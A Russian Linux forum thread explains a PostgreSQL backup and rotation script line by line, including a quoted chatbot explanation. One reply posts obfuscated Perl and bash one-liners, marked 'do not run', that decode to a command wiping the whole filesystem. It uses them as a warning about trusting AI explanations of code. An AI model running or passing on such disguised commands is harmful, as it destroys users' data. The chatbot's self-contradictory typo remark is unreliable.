Что делает скрипт?

Автор Dimas, 12 октября 2024, 09:00:22

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Dimas

Уважаемые форумчане, прошу помощи в разборке скрипта. Подскажите, пожалуйста, что он делает.
Сам скрипт:
#!/bin/bash
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)
BK_DIR=/var/opt/backup
/usr/bin/mkdir $BK_DIR/$DT
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]}
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi

/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd

for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done

Спасибо большое.

David Blackheart

Запихните все это вот сюда - duck.ai. Все разжует и разложит по полочкам. Всегда можно уточнить любой непонятный момент.

yoric

Написал дюку, в ответ молчание (выбрал liama). Так что на бота надейся, а сам не плошай!

Dimas, прочитайте про команды, которые в этом скрипте. По ним сразу всё понятно. Можно команды запускать отдельно, тоже будет понятно. Например,
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)переменной DT присваивается выхлоп команды "/usr/bin/date +%Y%m%d-%H%M%S"
И так далее.

ek-nfn

#3
Цитата: yoric от 12 октября 2024, 13:03:32Написал дюку, в ответ молчание (выбрал liama). Так что на бота надейся, а сам не плошай!
Может не понравился ваш IP ? Мне без задержек выдал следующее :
Спойлер
Предоставленный вами скрипт — это скрипт Bash, предназначенный для создания резервной копии базы данных PostgreSQL и некоторых файлов конфигурации, а также для управления старыми резервными копиями. Вот краткое описание каждой части скрипта:

Разбивка скрипта
Настройка даты и каталога резервных копий:
bash

Копировать Код
DT=$(/usr/bin/date +%Y%m%d-%H%M%S)
BK_DIR=/var/opt/backup
/usr/bin/mkdir $BK_DIR/$DT
DT сохраняет текущую дату и время в формате YYYYMMDD-HHMMSS.
BK_DIR установлен путь к каталогу резервной копии.
В разделе BK_DIR создан новый каталог с текущей датой и временем.
Резервное копирование базы PostgreSQL:
bash

Копировать Код
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS
  • }_${PIPESTATUS[1]}
Эта команда выполняется pg_basebackup для создания резервной копии базы данных PostgreSQL.
Выходные данные сжимаются с помощью zstd с максимальным сжатием и 4 потоками.
Результат выполнения команды сохраняется в RESULT, который содержит коды завершения команд pg_basebackup и zstd.
Обработка результатов:
bash

Копировать Код
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi
Если обе команды выполнены успешно (статус выхода 0), результат записывается в ok.result в каталоге резервных копий.
Если произошла ошибка, результат записывается в error.result в текущем каталоге.
Backup Configuration Files:
bash

Копировать Код
/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd
This command creates a tarball of the PostgreSQL configuration files and compresses it with zstd.
Очистка старых резервных копий:
bash

Копировать Код
for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done
Этот цикл выводит список каталогов с резервными копиями, исключая «потерянные+найденные», сортирует их по времени создания и удаляет все, кроме 30 самых последних резервных копий.
Примечание: в команде есть опечатка; вместо рм -рф должно быть рм -рф (первый символ — кириллица «р», а не латиница «r»).
Краткие сведения
Этот скрипт автоматизирует процесс резервного копирования базы данных PostgreSQL и файлов её конфигурации, а также управляет количеством сохраняемых резервных копий. Убедитесь, что вы запускаете этот скрипт с соответствующими разрешениями, и рассмотрите возможность добавления обработки ошибок и ведения журнала для удобства обслуживания.


Debian 12  -> Devuan 5 xfce -> MX Linux 23

yoric

Цитата: ek-nfn от 12 октября 2024, 13:54:53Может не понравился ваш IP ?
Это уже дискриминация!

dzhoser

По цифровому признаку!
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

ek-nfn

Цитата: yoric от 12 октября 2024, 14:32:59Это уже дискриминация!
неправильно выбранная аватарка  :D
Debian 12  -> Devuan 5 xfce -> MX Linux 23

Liya

#7
удалено

dzhoser

#8
Цитата: Лия от 12 октября 2024, 21:35:30Так что не советую этим пользоваться :)
а этим
Цитироватьне запускать!!! аналог rm  -rf /
$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
        {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);
ну и на bash
ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

Liya

#9
удалено

ek-nfn

Цитата: Лия от 12 октября 2024, 22:04:25Я-то понимаю, а представьте новичка, который вбивает это в промпт ИИ и получает в ответ: да всё норм, это Hello World
Есть ИИ заточенные чисто на написание кода, а не для общего применения. Предложенный выше к ним не относится. Это как выбирать правильный инструмент для той или иной работы, не надо использовать первый попавшийся. Для новичков ИИ будет лучший инструмент, чем ожидание на форуме сутками правильного ответа на свой вопрос, которого может и не дождаться.
Debian 12  -> Devuan 5 xfce -> MX Linux 23

dzhoser

#11
Ответ для ТС который я надеюсь он дожлался
#!/bin/bash  #Шабанг для идентификации файла как скрип на баше
DT=$(/usr/bin/date +%Y%m%d-%H%M%S) #переременная которая берет значение команды date в формате год.месяц.день-Часы минуты секунды 
BK_DIR=/var/opt/backup #Переменная
/usr/bin/mkdir $BK_DIR/$DT # Создание директории со значением переменной BK_DIR
/usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]} # Эта команда выполняется pg_basebackup для создания резервной копии базы данных PostgreSQL.
Выходные данные сжимаются с помощью zstd с максимальным сжатием и 4 потоками.
Результат выполнения команды сохраняется в RESULT, который содержит коды
if [ $RESULT == "0_0" ]
then
  /usr/bin/echo $RESULT > $BK_DIR/$DT/ok.result
else
  /usr/bin/echo $RESULT > error.result
fi
#Цикл в зависимости от варианта исполнения команды /usr/bin/pg_basebackup -D - -Ft -X fetch | zstd --ultra -cT4 > $BK_DIR/$DT/pg1c.tar.zstd ; RESULT=${PIPESTATUS[0]}_${PIPESTATUS[1]} выводит сообщений о выполнении команды или ошибки
/usr/bin/tar -c /etc/postgresql /etc/postgresql-common | zstd --ultra -cT4 > $BK_DIR/$DT/etc.tar.zstd # сжатие бэкапа в 4 потока

for i in $(/usr/bin/ls -t /var/opt/backup/ | /usr/bin/grep -v "lost+found" | /usr/bin/tail -n+30); do рм -рф $BK_DIR/$i; done
удаление архивов кроме 30 последних
Ubuntu->Linux mint->Astra Linux SE->Debian 12
Для новичков

Dimas

Цитата: dzhoser от 13 октября 2024, 15:51:18Ответ для ТС который я надеюсь он дожлался
Конечно дождался. Огромное Вам спасибо. Непонятно только почему использовано сжатие в 4 потока. Что дают потоки?

ek-nfn

#13
Цитата: Dimas от 13 октября 2024, 19:08:25сжатие в 4 потока. Что дают потоки?
ускорение сжатия в разы. если ядер (потоков) у вашего cpu больше, то ставьте больше, нагрузка небольшая, а скорость сжатия кратно выше. У zstd скорость сжатия можно увеличивать и  уменьшением степени сжатия, заменив --ultra на параметр меньше 19, но тогда и файл архива будет побольше
Debian 12  -> Devuan 5 xfce -> MX Linux 23

Liya

#14
удалено